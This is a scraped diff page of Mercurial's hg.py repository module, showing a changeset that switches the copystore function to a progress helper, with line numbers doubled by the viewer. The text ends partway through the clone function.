##// END OF EJS Templates
copystore: use progress helper...
Martin von Zweigbergk -
r38399:63e6f5ae default
parent child Browse files
Show More
@@ -1,1170 +1,1163 b''
1 # hg.py - repository classes for mercurial
1 # hg.py - repository classes for mercurial
2 #
2 #
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
3 # Copyright 2005-2007 Matt Mackall <mpm@selenic.com>
4 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
4 # Copyright 2006 Vadim Gelfer <vadim.gelfer@gmail.com>
5 #
5 #
6 # This software may be used and distributed according to the terms of the
6 # This software may be used and distributed according to the terms of the
7 # GNU General Public License version 2 or any later version.
7 # GNU General Public License version 2 or any later version.
8
8
9 from __future__ import absolute_import
9 from __future__ import absolute_import
10
10
11 import errno
11 import errno
12 import hashlib
12 import hashlib
13 import os
13 import os
14 import shutil
14 import shutil
15 import stat
15 import stat
16
16
17 from .i18n import _
17 from .i18n import _
18 from .node import (
18 from .node import (
19 nullid,
19 nullid,
20 )
20 )
21
21
22 from . import (
22 from . import (
23 bookmarks,
23 bookmarks,
24 bundlerepo,
24 bundlerepo,
25 cacheutil,
25 cacheutil,
26 cmdutil,
26 cmdutil,
27 destutil,
27 destutil,
28 discovery,
28 discovery,
29 error,
29 error,
30 exchange,
30 exchange,
31 extensions,
31 extensions,
32 httppeer,
32 httppeer,
33 localrepo,
33 localrepo,
34 lock,
34 lock,
35 logcmdutil,
35 logcmdutil,
36 logexchange,
36 logexchange,
37 merge as mergemod,
37 merge as mergemod,
38 node,
38 node,
39 phases,
39 phases,
40 scmutil,
40 scmutil,
41 sshpeer,
41 sshpeer,
42 statichttprepo,
42 statichttprepo,
43 ui as uimod,
43 ui as uimod,
44 unionrepo,
44 unionrepo,
45 url,
45 url,
46 util,
46 util,
47 verify as verifymod,
47 verify as verifymod,
48 vfs as vfsmod,
48 vfs as vfsmod,
49 )
49 )
50
50
51 from .utils import (
51 from .utils import (
52 stringutil,
52 stringutil,
53 )
53 )
54
54
55 release = lock.release
55 release = lock.release
56
56
57 # shared features
57 # shared features
58 sharedbookmarks = 'bookmarks'
58 sharedbookmarks = 'bookmarks'
59
59
60 def _local(path):
60 def _local(path):
61 path = util.expandpath(util.urllocalpath(path))
61 path = util.expandpath(util.urllocalpath(path))
62 return (os.path.isfile(path) and bundlerepo or localrepo)
62 return (os.path.isfile(path) and bundlerepo or localrepo)
63
63
64 def addbranchrevs(lrepo, other, branches, revs):
64 def addbranchrevs(lrepo, other, branches, revs):
65 peer = other.peer() # a courtesy to callers using a localrepo for other
65 peer = other.peer() # a courtesy to callers using a localrepo for other
66 hashbranch, branches = branches
66 hashbranch, branches = branches
67 if not hashbranch and not branches:
67 if not hashbranch and not branches:
68 x = revs or None
68 x = revs or None
69 if revs:
69 if revs:
70 y = revs[0]
70 y = revs[0]
71 else:
71 else:
72 y = None
72 y = None
73 return x, y
73 return x, y
74 if revs:
74 if revs:
75 revs = list(revs)
75 revs = list(revs)
76 else:
76 else:
77 revs = []
77 revs = []
78
78
79 if not peer.capable('branchmap'):
79 if not peer.capable('branchmap'):
80 if branches:
80 if branches:
81 raise error.Abort(_("remote branch lookup not supported"))
81 raise error.Abort(_("remote branch lookup not supported"))
82 revs.append(hashbranch)
82 revs.append(hashbranch)
83 return revs, revs[0]
83 return revs, revs[0]
84
84
85 with peer.commandexecutor() as e:
85 with peer.commandexecutor() as e:
86 branchmap = e.callcommand('branchmap', {}).result()
86 branchmap = e.callcommand('branchmap', {}).result()
87
87
88 def primary(branch):
88 def primary(branch):
89 if branch == '.':
89 if branch == '.':
90 if not lrepo:
90 if not lrepo:
91 raise error.Abort(_("dirstate branch not accessible"))
91 raise error.Abort(_("dirstate branch not accessible"))
92 branch = lrepo.dirstate.branch()
92 branch = lrepo.dirstate.branch()
93 if branch in branchmap:
93 if branch in branchmap:
94 revs.extend(node.hex(r) for r in reversed(branchmap[branch]))
94 revs.extend(node.hex(r) for r in reversed(branchmap[branch]))
95 return True
95 return True
96 else:
96 else:
97 return False
97 return False
98
98
99 for branch in branches:
99 for branch in branches:
100 if not primary(branch):
100 if not primary(branch):
101 raise error.RepoLookupError(_("unknown branch '%s'") % branch)
101 raise error.RepoLookupError(_("unknown branch '%s'") % branch)
102 if hashbranch:
102 if hashbranch:
103 if not primary(hashbranch):
103 if not primary(hashbranch):
104 revs.append(hashbranch)
104 revs.append(hashbranch)
105 return revs, revs[0]
105 return revs, revs[0]
106
106
107 def parseurl(path, branches=None):
107 def parseurl(path, branches=None):
108 '''parse url#branch, returning (url, (branch, branches))'''
108 '''parse url#branch, returning (url, (branch, branches))'''
109
109
110 u = util.url(path)
110 u = util.url(path)
111 branch = None
111 branch = None
112 if u.fragment:
112 if u.fragment:
113 branch = u.fragment
113 branch = u.fragment
114 u.fragment = None
114 u.fragment = None
115 return bytes(u), (branch, branches or [])
115 return bytes(u), (branch, branches or [])
116
116
117 schemes = {
117 schemes = {
118 'bundle': bundlerepo,
118 'bundle': bundlerepo,
119 'union': unionrepo,
119 'union': unionrepo,
120 'file': _local,
120 'file': _local,
121 'http': httppeer,
121 'http': httppeer,
122 'https': httppeer,
122 'https': httppeer,
123 'ssh': sshpeer,
123 'ssh': sshpeer,
124 'static-http': statichttprepo,
124 'static-http': statichttprepo,
125 }
125 }
126
126
127 def _peerlookup(path):
127 def _peerlookup(path):
128 u = util.url(path)
128 u = util.url(path)
129 scheme = u.scheme or 'file'
129 scheme = u.scheme or 'file'
130 thing = schemes.get(scheme) or schemes['file']
130 thing = schemes.get(scheme) or schemes['file']
131 try:
131 try:
132 return thing(path)
132 return thing(path)
133 except TypeError:
133 except TypeError:
134 # we can't test callable(thing) because 'thing' can be an unloaded
134 # we can't test callable(thing) because 'thing' can be an unloaded
135 # module that implements __call__
135 # module that implements __call__
136 if not util.safehasattr(thing, 'instance'):
136 if not util.safehasattr(thing, 'instance'):
137 raise
137 raise
138 return thing
138 return thing
139
139
140 def islocal(repo):
140 def islocal(repo):
141 '''return true if repo (or path pointing to repo) is local'''
141 '''return true if repo (or path pointing to repo) is local'''
142 if isinstance(repo, bytes):
142 if isinstance(repo, bytes):
143 try:
143 try:
144 return _peerlookup(repo).islocal(repo)
144 return _peerlookup(repo).islocal(repo)
145 except AttributeError:
145 except AttributeError:
146 return False
146 return False
147 return repo.local()
147 return repo.local()
148
148
149 def openpath(ui, path):
149 def openpath(ui, path):
150 '''open path with open if local, url.open if remote'''
150 '''open path with open if local, url.open if remote'''
151 pathurl = util.url(path, parsequery=False, parsefragment=False)
151 pathurl = util.url(path, parsequery=False, parsefragment=False)
152 if pathurl.islocal():
152 if pathurl.islocal():
153 return util.posixfile(pathurl.localpath(), 'rb')
153 return util.posixfile(pathurl.localpath(), 'rb')
154 else:
154 else:
155 return url.open(ui, path)
155 return url.open(ui, path)
156
156
157 # a list of (ui, repo) functions called for wire peer initialization
157 # a list of (ui, repo) functions called for wire peer initialization
158 wirepeersetupfuncs = []
158 wirepeersetupfuncs = []
159
159
160 def _peerorrepo(ui, path, create=False, presetupfuncs=None,
160 def _peerorrepo(ui, path, create=False, presetupfuncs=None,
161 intents=None):
161 intents=None):
162 """return a repository object for the specified path"""
162 """return a repository object for the specified path"""
163 obj = _peerlookup(path).instance(ui, path, create, intents=intents)
163 obj = _peerlookup(path).instance(ui, path, create, intents=intents)
164 ui = getattr(obj, "ui", ui)
164 ui = getattr(obj, "ui", ui)
165 for f in presetupfuncs or []:
165 for f in presetupfuncs or []:
166 f(ui, obj)
166 f(ui, obj)
167 for name, module in extensions.extensions(ui):
167 for name, module in extensions.extensions(ui):
168 hook = getattr(module, 'reposetup', None)
168 hook = getattr(module, 'reposetup', None)
169 if hook:
169 if hook:
170 hook(ui, obj)
170 hook(ui, obj)
171 if not obj.local():
171 if not obj.local():
172 for f in wirepeersetupfuncs:
172 for f in wirepeersetupfuncs:
173 f(ui, obj)
173 f(ui, obj)
174 return obj
174 return obj
175
175
176 def repository(ui, path='', create=False, presetupfuncs=None, intents=None):
176 def repository(ui, path='', create=False, presetupfuncs=None, intents=None):
177 """return a repository object for the specified path"""
177 """return a repository object for the specified path"""
178 peer = _peerorrepo(ui, path, create, presetupfuncs=presetupfuncs,
178 peer = _peerorrepo(ui, path, create, presetupfuncs=presetupfuncs,
179 intents=intents)
179 intents=intents)
180 repo = peer.local()
180 repo = peer.local()
181 if not repo:
181 if not repo:
182 raise error.Abort(_("repository '%s' is not local") %
182 raise error.Abort(_("repository '%s' is not local") %
183 (path or peer.url()))
183 (path or peer.url()))
184 return repo.filtered('visible')
184 return repo.filtered('visible')
185
185
186 def peer(uiorrepo, opts, path, create=False, intents=None):
186 def peer(uiorrepo, opts, path, create=False, intents=None):
187 '''return a repository peer for the specified path'''
187 '''return a repository peer for the specified path'''
188 rui = remoteui(uiorrepo, opts)
188 rui = remoteui(uiorrepo, opts)
189 return _peerorrepo(rui, path, create, intents=intents).peer()
189 return _peerorrepo(rui, path, create, intents=intents).peer()
190
190
191 def defaultdest(source):
191 def defaultdest(source):
192 '''return default destination of clone if none is given
192 '''return default destination of clone if none is given
193
193
194 >>> defaultdest(b'foo')
194 >>> defaultdest(b'foo')
195 'foo'
195 'foo'
196 >>> defaultdest(b'/foo/bar')
196 >>> defaultdest(b'/foo/bar')
197 'bar'
197 'bar'
198 >>> defaultdest(b'/')
198 >>> defaultdest(b'/')
199 ''
199 ''
200 >>> defaultdest(b'')
200 >>> defaultdest(b'')
201 ''
201 ''
202 >>> defaultdest(b'http://example.org/')
202 >>> defaultdest(b'http://example.org/')
203 ''
203 ''
204 >>> defaultdest(b'http://example.org/foo/')
204 >>> defaultdest(b'http://example.org/foo/')
205 'foo'
205 'foo'
206 '''
206 '''
207 path = util.url(source).path
207 path = util.url(source).path
208 if not path:
208 if not path:
209 return ''
209 return ''
210 return os.path.basename(os.path.normpath(path))
210 return os.path.basename(os.path.normpath(path))
211
211
212 def sharedreposource(repo):
212 def sharedreposource(repo):
213 """Returns repository object for source repository of a shared repo.
213 """Returns repository object for source repository of a shared repo.
214
214
215 If repo is not a shared repository, returns None.
215 If repo is not a shared repository, returns None.
216 """
216 """
217 if repo.sharedpath == repo.path:
217 if repo.sharedpath == repo.path:
218 return None
218 return None
219
219
220 if util.safehasattr(repo, 'srcrepo') and repo.srcrepo:
220 if util.safehasattr(repo, 'srcrepo') and repo.srcrepo:
221 return repo.srcrepo
221 return repo.srcrepo
222
222
223 # the sharedpath always ends in the .hg; we want the path to the repo
223 # the sharedpath always ends in the .hg; we want the path to the repo
224 source = repo.vfs.split(repo.sharedpath)[0]
224 source = repo.vfs.split(repo.sharedpath)[0]
225 srcurl, branches = parseurl(source)
225 srcurl, branches = parseurl(source)
226 srcrepo = repository(repo.ui, srcurl)
226 srcrepo = repository(repo.ui, srcurl)
227 repo.srcrepo = srcrepo
227 repo.srcrepo = srcrepo
228 return srcrepo
228 return srcrepo
229
229
230 def share(ui, source, dest=None, update=True, bookmarks=True, defaultpath=None,
230 def share(ui, source, dest=None, update=True, bookmarks=True, defaultpath=None,
231 relative=False):
231 relative=False):
232 '''create a shared repository'''
232 '''create a shared repository'''
233
233
234 if not islocal(source):
234 if not islocal(source):
235 raise error.Abort(_('can only share local repositories'))
235 raise error.Abort(_('can only share local repositories'))
236
236
237 if not dest:
237 if not dest:
238 dest = defaultdest(source)
238 dest = defaultdest(source)
239 else:
239 else:
240 dest = ui.expandpath(dest)
240 dest = ui.expandpath(dest)
241
241
242 if isinstance(source, bytes):
242 if isinstance(source, bytes):
243 origsource = ui.expandpath(source)
243 origsource = ui.expandpath(source)
244 source, branches = parseurl(origsource)
244 source, branches = parseurl(origsource)
245 srcrepo = repository(ui, source)
245 srcrepo = repository(ui, source)
246 rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
246 rev, checkout = addbranchrevs(srcrepo, srcrepo, branches, None)
247 else:
247 else:
248 srcrepo = source.local()
248 srcrepo = source.local()
249 origsource = source = srcrepo.url()
249 origsource = source = srcrepo.url()
250 checkout = None
250 checkout = None
251
251
252 sharedpath = srcrepo.sharedpath # if our source is already sharing
252 sharedpath = srcrepo.sharedpath # if our source is already sharing
253
253
254 destwvfs = vfsmod.vfs(dest, realpath=True)
254 destwvfs = vfsmod.vfs(dest, realpath=True)
255 destvfs = vfsmod.vfs(os.path.join(destwvfs.base, '.hg'), realpath=True)
255 destvfs = vfsmod.vfs(os.path.join(destwvfs.base, '.hg'), realpath=True)
256
256
257 if destvfs.lexists():
257 if destvfs.lexists():
258 raise error.Abort(_('destination already exists'))
258 raise error.Abort(_('destination already exists'))
259
259
260 if not destwvfs.isdir():
260 if not destwvfs.isdir():
261 destwvfs.mkdir()
261 destwvfs.mkdir()
262 destvfs.makedir()
262 destvfs.makedir()
263
263
264 requirements = ''
264 requirements = ''
265 try:
265 try:
266 requirements = srcrepo.vfs.read('requires')
266 requirements = srcrepo.vfs.read('requires')
267 except IOError as inst:
267 except IOError as inst:
268 if inst.errno != errno.ENOENT:
268 if inst.errno != errno.ENOENT:
269 raise
269 raise
270
270
271 if relative:
271 if relative:
272 try:
272 try:
273 sharedpath = os.path.relpath(sharedpath, destvfs.base)
273 sharedpath = os.path.relpath(sharedpath, destvfs.base)
274 requirements += 'relshared\n'
274 requirements += 'relshared\n'
275 except (IOError, ValueError) as e:
275 except (IOError, ValueError) as e:
276 # ValueError is raised on Windows if the drive letters differ on
276 # ValueError is raised on Windows if the drive letters differ on
277 # each path
277 # each path
278 raise error.Abort(_('cannot calculate relative path'),
278 raise error.Abort(_('cannot calculate relative path'),
279 hint=stringutil.forcebytestr(e))
279 hint=stringutil.forcebytestr(e))
280 else:
280 else:
281 requirements += 'shared\n'
281 requirements += 'shared\n'
282
282
283 destvfs.write('requires', requirements)
283 destvfs.write('requires', requirements)
284 destvfs.write('sharedpath', sharedpath)
284 destvfs.write('sharedpath', sharedpath)
285
285
286 r = repository(ui, destwvfs.base)
286 r = repository(ui, destwvfs.base)
287 postshare(srcrepo, r, bookmarks=bookmarks, defaultpath=defaultpath)
287 postshare(srcrepo, r, bookmarks=bookmarks, defaultpath=defaultpath)
288 _postshareupdate(r, update, checkout=checkout)
288 _postshareupdate(r, update, checkout=checkout)
289 return r
289 return r
290
290
291 def unshare(ui, repo):
291 def unshare(ui, repo):
292 """convert a shared repository to a normal one
292 """convert a shared repository to a normal one
293
293
294 Copy the store data to the repo and remove the sharedpath data.
294 Copy the store data to the repo and remove the sharedpath data.
295 """
295 """
296
296
297 destlock = lock = None
297 destlock = lock = None
298 lock = repo.lock()
298 lock = repo.lock()
299 try:
299 try:
300 # we use locks here because if we race with commit, we
300 # we use locks here because if we race with commit, we
301 # can end up with extra data in the cloned revlogs that's
301 # can end up with extra data in the cloned revlogs that's
302 # not pointed to by changesets, thus causing verify to
302 # not pointed to by changesets, thus causing verify to
303 # fail
303 # fail
304
304
305 destlock = copystore(ui, repo, repo.path)
305 destlock = copystore(ui, repo, repo.path)
306
306
307 sharefile = repo.vfs.join('sharedpath')
307 sharefile = repo.vfs.join('sharedpath')
308 util.rename(sharefile, sharefile + '.old')
308 util.rename(sharefile, sharefile + '.old')
309
309
310 repo.requirements.discard('shared')
310 repo.requirements.discard('shared')
311 repo.requirements.discard('relshared')
311 repo.requirements.discard('relshared')
312 repo._writerequirements()
312 repo._writerequirements()
313 finally:
313 finally:
314 destlock and destlock.release()
314 destlock and destlock.release()
315 lock and lock.release()
315 lock and lock.release()
316
316
317 # update store, spath, svfs and sjoin of repo
317 # update store, spath, svfs and sjoin of repo
318 repo.unfiltered().__init__(repo.baseui, repo.root)
318 repo.unfiltered().__init__(repo.baseui, repo.root)
319
319
320 # TODO: figure out how to access subrepos that exist, but were previously
320 # TODO: figure out how to access subrepos that exist, but were previously
321 # removed from .hgsub
321 # removed from .hgsub
322 c = repo['.']
322 c = repo['.']
323 subs = c.substate
323 subs = c.substate
324 for s in sorted(subs):
324 for s in sorted(subs):
325 c.sub(s).unshare()
325 c.sub(s).unshare()
326
326
327 def postshare(sourcerepo, destrepo, bookmarks=True, defaultpath=None):
327 def postshare(sourcerepo, destrepo, bookmarks=True, defaultpath=None):
328 """Called after a new shared repo is created.
328 """Called after a new shared repo is created.
329
329
330 The new repo only has a requirements file and pointer to the source.
330 The new repo only has a requirements file and pointer to the source.
331 This function configures additional shared data.
331 This function configures additional shared data.
332
332
333 Extensions can wrap this function and write additional entries to
333 Extensions can wrap this function and write additional entries to
334 destrepo/.hg/shared to indicate additional pieces of data to be shared.
334 destrepo/.hg/shared to indicate additional pieces of data to be shared.
335 """
335 """
336 default = defaultpath or sourcerepo.ui.config('paths', 'default')
336 default = defaultpath or sourcerepo.ui.config('paths', 'default')
337 if default:
337 if default:
338 template = ('[paths]\n'
338 template = ('[paths]\n'
339 'default = %s\n')
339 'default = %s\n')
340 destrepo.vfs.write('hgrc', util.tonativeeol(template % default))
340 destrepo.vfs.write('hgrc', util.tonativeeol(template % default))
341
341
342 with destrepo.wlock():
342 with destrepo.wlock():
343 if bookmarks:
343 if bookmarks:
344 destrepo.vfs.write('shared', sharedbookmarks + '\n')
344 destrepo.vfs.write('shared', sharedbookmarks + '\n')
345
345
346 def _postshareupdate(repo, update, checkout=None):
346 def _postshareupdate(repo, update, checkout=None):
347 """Maybe perform a working directory update after a shared repo is created.
347 """Maybe perform a working directory update after a shared repo is created.
348
348
349 ``update`` can be a boolean or a revision to update to.
349 ``update`` can be a boolean or a revision to update to.
350 """
350 """
351 if not update:
351 if not update:
352 return
352 return
353
353
354 repo.ui.status(_("updating working directory\n"))
354 repo.ui.status(_("updating working directory\n"))
355 if update is not True:
355 if update is not True:
356 checkout = update
356 checkout = update
357 for test in (checkout, 'default', 'tip'):
357 for test in (checkout, 'default', 'tip'):
358 if test is None:
358 if test is None:
359 continue
359 continue
360 try:
360 try:
361 uprev = repo.lookup(test)
361 uprev = repo.lookup(test)
362 break
362 break
363 except error.RepoLookupError:
363 except error.RepoLookupError:
364 continue
364 continue
365 _update(repo, uprev)
365 _update(repo, uprev)
366
366
367 def copystore(ui, srcrepo, destpath):
367 def copystore(ui, srcrepo, destpath):
368 '''copy files from store of srcrepo in destpath
368 '''copy files from store of srcrepo in destpath
369
369
370 returns destlock
370 returns destlock
371 '''
371 '''
372 destlock = None
372 destlock = None
373 try:
373 try:
374 hardlink = None
374 hardlink = None
375 topic = _('linking') if hardlink else _('copying')
376 progress = ui.makeprogress(topic)
375 num = 0
377 num = 0
376 closetopic = [None]
377 def prog(topic, pos):
378 if pos is None:
379 closetopic[0] = topic
380 else:
381 ui.progress(topic, pos + num)
382 srcpublishing = srcrepo.publishing()
378 srcpublishing = srcrepo.publishing()
383 srcvfs = vfsmod.vfs(srcrepo.sharedpath)
379 srcvfs = vfsmod.vfs(srcrepo.sharedpath)
384 dstvfs = vfsmod.vfs(destpath)
380 dstvfs = vfsmod.vfs(destpath)
385 for f in srcrepo.store.copylist():
381 for f in srcrepo.store.copylist():
386 if srcpublishing and f.endswith('phaseroots'):
382 if srcpublishing and f.endswith('phaseroots'):
387 continue
383 continue
388 dstbase = os.path.dirname(f)
384 dstbase = os.path.dirname(f)
389 if dstbase and not dstvfs.exists(dstbase):
385 if dstbase and not dstvfs.exists(dstbase):
390 dstvfs.mkdir(dstbase)
386 dstvfs.mkdir(dstbase)
391 if srcvfs.exists(f):
387 if srcvfs.exists(f):
392 if f.endswith('data'):
388 if f.endswith('data'):
393 # 'dstbase' may be empty (e.g. revlog format 0)
389 # 'dstbase' may be empty (e.g. revlog format 0)
394 lockfile = os.path.join(dstbase, "lock")
390 lockfile = os.path.join(dstbase, "lock")
395 # lock to avoid premature writing to the target
391 # lock to avoid premature writing to the target
396 destlock = lock.lock(dstvfs, lockfile)
392 destlock = lock.lock(dstvfs, lockfile)
397 hardlink, n = util.copyfiles(srcvfs.join(f), dstvfs.join(f),
393 hardlink, n = util.copyfiles(srcvfs.join(f), dstvfs.join(f),
398 hardlink, progress=prog)
394 hardlink, progress)
399 num += n
395 num += n
400 if hardlink:
396 if hardlink:
401 ui.debug("linked %d files\n" % num)
397 ui.debug("linked %d files\n" % num)
402 if closetopic[0]:
403 ui.progress(closetopic[0], None)
404 else:
398 else:
405 ui.debug("copied %d files\n" % num)
399 ui.debug("copied %d files\n" % num)
406 if closetopic[0]:
400 progress.complete()
407 ui.progress(closetopic[0], None)
408 return destlock
401 return destlock
409 except: # re-raises
402 except: # re-raises
410 release(destlock)
403 release(destlock)
411 raise
404 raise
412
405
413 def clonewithshare(ui, peeropts, sharepath, source, srcpeer, dest, pull=False,
406 def clonewithshare(ui, peeropts, sharepath, source, srcpeer, dest, pull=False,
414 rev=None, update=True, stream=False):
407 rev=None, update=True, stream=False):
415 """Perform a clone using a shared repo.
408 """Perform a clone using a shared repo.
416
409
417 The store for the repository will be located at <sharepath>/.hg. The
410 The store for the repository will be located at <sharepath>/.hg. The
418 specified revisions will be cloned or pulled from "source". A shared repo
411 specified revisions will be cloned or pulled from "source". A shared repo
419 will be created at "dest" and a working copy will be created if "update" is
412 will be created at "dest" and a working copy will be created if "update" is
420 True.
413 True.
421 """
414 """
422 revs = None
415 revs = None
423 if rev:
416 if rev:
424 if not srcpeer.capable('lookup'):
417 if not srcpeer.capable('lookup'):
425 raise error.Abort(_("src repository does not support "
418 raise error.Abort(_("src repository does not support "
426 "revision lookup and so doesn't "
419 "revision lookup and so doesn't "
427 "support clone by revision"))
420 "support clone by revision"))
428
421
429 # TODO this is batchable.
422 # TODO this is batchable.
430 remoterevs = []
423 remoterevs = []
431 for r in rev:
424 for r in rev:
432 with srcpeer.commandexecutor() as e:
425 with srcpeer.commandexecutor() as e:
433 remoterevs.append(e.callcommand('lookup', {
426 remoterevs.append(e.callcommand('lookup', {
434 'key': r,
427 'key': r,
435 }).result())
428 }).result())
436 revs = remoterevs
429 revs = remoterevs
437
430
438 # Obtain a lock before checking for or cloning the pooled repo otherwise
431 # Obtain a lock before checking for or cloning the pooled repo otherwise
439 # 2 clients may race creating or populating it.
432 # 2 clients may race creating or populating it.
440 pooldir = os.path.dirname(sharepath)
433 pooldir = os.path.dirname(sharepath)
441 # lock class requires the directory to exist.
434 # lock class requires the directory to exist.
442 try:
435 try:
443 util.makedir(pooldir, False)
436 util.makedir(pooldir, False)
444 except OSError as e:
437 except OSError as e:
445 if e.errno != errno.EEXIST:
438 if e.errno != errno.EEXIST:
446 raise
439 raise
447
440
448 poolvfs = vfsmod.vfs(pooldir)
441 poolvfs = vfsmod.vfs(pooldir)
449 basename = os.path.basename(sharepath)
442 basename = os.path.basename(sharepath)
450
443
451 with lock.lock(poolvfs, '%s.lock' % basename):
444 with lock.lock(poolvfs, '%s.lock' % basename):
452 if os.path.exists(sharepath):
445 if os.path.exists(sharepath):
453 ui.status(_('(sharing from existing pooled repository %s)\n') %
446 ui.status(_('(sharing from existing pooled repository %s)\n') %
454 basename)
447 basename)
455 else:
448 else:
456 ui.status(_('(sharing from new pooled repository %s)\n') % basename)
449 ui.status(_('(sharing from new pooled repository %s)\n') % basename)
457 # Always use pull mode because hardlinks in share mode don't work
450 # Always use pull mode because hardlinks in share mode don't work
458 # well. Never update because working copies aren't necessary in
451 # well. Never update because working copies aren't necessary in
459 # share mode.
452 # share mode.
460 clone(ui, peeropts, source, dest=sharepath, pull=True,
453 clone(ui, peeropts, source, dest=sharepath, pull=True,
461 revs=rev, update=False, stream=stream)
454 revs=rev, update=False, stream=stream)
462
455
463 # Resolve the value to put in [paths] section for the source.
456 # Resolve the value to put in [paths] section for the source.
464 if islocal(source):
457 if islocal(source):
465 defaultpath = os.path.abspath(util.urllocalpath(source))
458 defaultpath = os.path.abspath(util.urllocalpath(source))
466 else:
459 else:
467 defaultpath = source
460 defaultpath = source
468
461
469 sharerepo = repository(ui, path=sharepath)
462 sharerepo = repository(ui, path=sharepath)
470 share(ui, sharerepo, dest=dest, update=False, bookmarks=False,
463 share(ui, sharerepo, dest=dest, update=False, bookmarks=False,
471 defaultpath=defaultpath)
464 defaultpath=defaultpath)
472
465
473 # We need to perform a pull against the dest repo to fetch bookmarks
466 # We need to perform a pull against the dest repo to fetch bookmarks
474 # and other non-store data that isn't shared by default. In the case of
467 # and other non-store data that isn't shared by default. In the case of
475 # non-existing shared repo, this means we pull from the remote twice. This
468 # non-existing shared repo, this means we pull from the remote twice. This
476 # is a bit weird. But at the time it was implemented, there wasn't an easy
469 # is a bit weird. But at the time it was implemented, there wasn't an easy
477 # way to pull just non-changegroup data.
470 # way to pull just non-changegroup data.
478 destrepo = repository(ui, path=dest)
471 destrepo = repository(ui, path=dest)
479 exchange.pull(destrepo, srcpeer, heads=revs)
472 exchange.pull(destrepo, srcpeer, heads=revs)
480
473
481 _postshareupdate(destrepo, update)
474 _postshareupdate(destrepo, update)
482
475
483 return srcpeer, peer(ui, peeropts, dest)
476 return srcpeer, peer(ui, peeropts, dest)
484
477
485 # Recomputing branch cache might be slow on big repos,
478 # Recomputing branch cache might be slow on big repos,
486 # so just copy it
479 # so just copy it
487 def _copycache(srcrepo, dstcachedir, fname):
480 def _copycache(srcrepo, dstcachedir, fname):
488 """copy a cache from srcrepo to destcachedir (if it exists)"""
481 """copy a cache from srcrepo to destcachedir (if it exists)"""
489 srcbranchcache = srcrepo.vfs.join('cache/%s' % fname)
482 srcbranchcache = srcrepo.vfs.join('cache/%s' % fname)
490 dstbranchcache = os.path.join(dstcachedir, fname)
483 dstbranchcache = os.path.join(dstcachedir, fname)
491 if os.path.exists(srcbranchcache):
484 if os.path.exists(srcbranchcache):
492 if not os.path.exists(dstcachedir):
485 if not os.path.exists(dstcachedir):
493 os.mkdir(dstcachedir)
486 os.mkdir(dstcachedir)
494 util.copyfile(srcbranchcache, dstbranchcache)
487 util.copyfile(srcbranchcache, dstbranchcache)
495
488
496 def clone(ui, peeropts, source, dest=None, pull=False, revs=None,
489 def clone(ui, peeropts, source, dest=None, pull=False, revs=None,
497 update=True, stream=False, branch=None, shareopts=None):
490 update=True, stream=False, branch=None, shareopts=None):
498 """Make a copy of an existing repository.
491 """Make a copy of an existing repository.
499
492
500 Create a copy of an existing repository in a new directory. The
493 Create a copy of an existing repository in a new directory. The
501 source and destination are URLs, as passed to the repository
494 source and destination are URLs, as passed to the repository
502 function. Returns a pair of repository peers, the source and
495 function. Returns a pair of repository peers, the source and
503 newly created destination.
496 newly created destination.
504
497
505 The location of the source is added to the new repository's
498 The location of the source is added to the new repository's
506 .hg/hgrc file, as the default to be used for future pulls and
499 .hg/hgrc file, as the default to be used for future pulls and
507 pushes.
500 pushes.
508
501
509 If an exception is raised, the partly cloned/updated destination
502 If an exception is raised, the partly cloned/updated destination
510 repository will be deleted.
503 repository will be deleted.
511
504
512 Arguments:
505 Arguments:
513
506
514 source: repository object or URL
507 source: repository object or URL
515
508
516 dest: URL of destination repository to create (defaults to base
509 dest: URL of destination repository to create (defaults to base
517 name of source repository)
510 name of source repository)
518
511
519 pull: always pull from source repository, even in local case or if the
512 pull: always pull from source repository, even in local case or if the
520 server prefers streaming
513 server prefers streaming
521
514
522 stream: stream raw data uncompressed from repository (fast over
515 stream: stream raw data uncompressed from repository (fast over
523 LAN, slow over WAN)
516 LAN, slow over WAN)
524
517
525 revs: revision to clone up to (implies pull=True)
518 revs: revision to clone up to (implies pull=True)
526
519
527 update: update working directory after clone completes, if
520 update: update working directory after clone completes, if
528 destination is local repository (True means update to default rev,
521 destination is local repository (True means update to default rev,
529 anything else is treated as a revision)
522 anything else is treated as a revision)
530
523
531 branch: branches to clone
524 branch: branches to clone
532
525
533 shareopts: dict of options to control auto sharing behavior. The "pool" key
526 shareopts: dict of options to control auto sharing behavior. The "pool" key
534 activates auto sharing mode and defines the directory for stores. The
527 activates auto sharing mode and defines the directory for stores. The
535 "mode" key determines how to construct the directory name of the shared
528 "mode" key determines how to construct the directory name of the shared
536 repository. "identity" means the name is derived from the node of the first
529 repository. "identity" means the name is derived from the node of the first
537 changeset in the repository. "remote" means the name is derived from the
530 changeset in the repository. "remote" means the name is derived from the
538 remote's path/URL. Defaults to "identity."
531 remote's path/URL. Defaults to "identity."
539 """
532 """
540
533
541 if isinstance(source, bytes):
534 if isinstance(source, bytes):
542 origsource = ui.expandpath(source)
535 origsource = ui.expandpath(source)
543 source, branches = parseurl(origsource, branch)
536 source, branches = parseurl(origsource, branch)
544 srcpeer = peer(ui, peeropts, source)
537 srcpeer = peer(ui, peeropts, source)
545 else:
538 else:
546 srcpeer = source.peer() # in case we were called with a localrepo
539 srcpeer = source.peer() # in case we were called with a localrepo
547 branches = (None, branch or [])
540 branches = (None, branch or [])
548 origsource = source = srcpeer.url()
541 origsource = source = srcpeer.url()
549 revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
542 revs, checkout = addbranchrevs(srcpeer, srcpeer, branches, revs)
550
543
551 if dest is None:
544 if dest is None:
552 dest = defaultdest(source)
545 dest = defaultdest(source)
553 if dest:
546 if dest:
554 ui.status(_("destination directory: %s\n") % dest)
547 ui.status(_("destination directory: %s\n") % dest)
555 else:
548 else:
556 dest = ui.expandpath(dest)
549 dest = ui.expandpath(dest)
557
550
558 dest = util.urllocalpath(dest)
551 dest = util.urllocalpath(dest)
559 source = util.urllocalpath(source)
552 source = util.urllocalpath(source)
560
553
561 if not dest:
554 if not dest:
562 raise error.Abort(_("empty destination path is not valid"))
555 raise error.Abort(_("empty destination path is not valid"))
563
556
564 destvfs = vfsmod.vfs(dest, expandpath=True)
557 destvfs = vfsmod.vfs(dest, expandpath=True)
565 if destvfs.lexists():
558 if destvfs.lexists():
566 if not destvfs.isdir():
559 if not destvfs.isdir():
567 raise error.Abort(_("destination '%s' already exists") % dest)
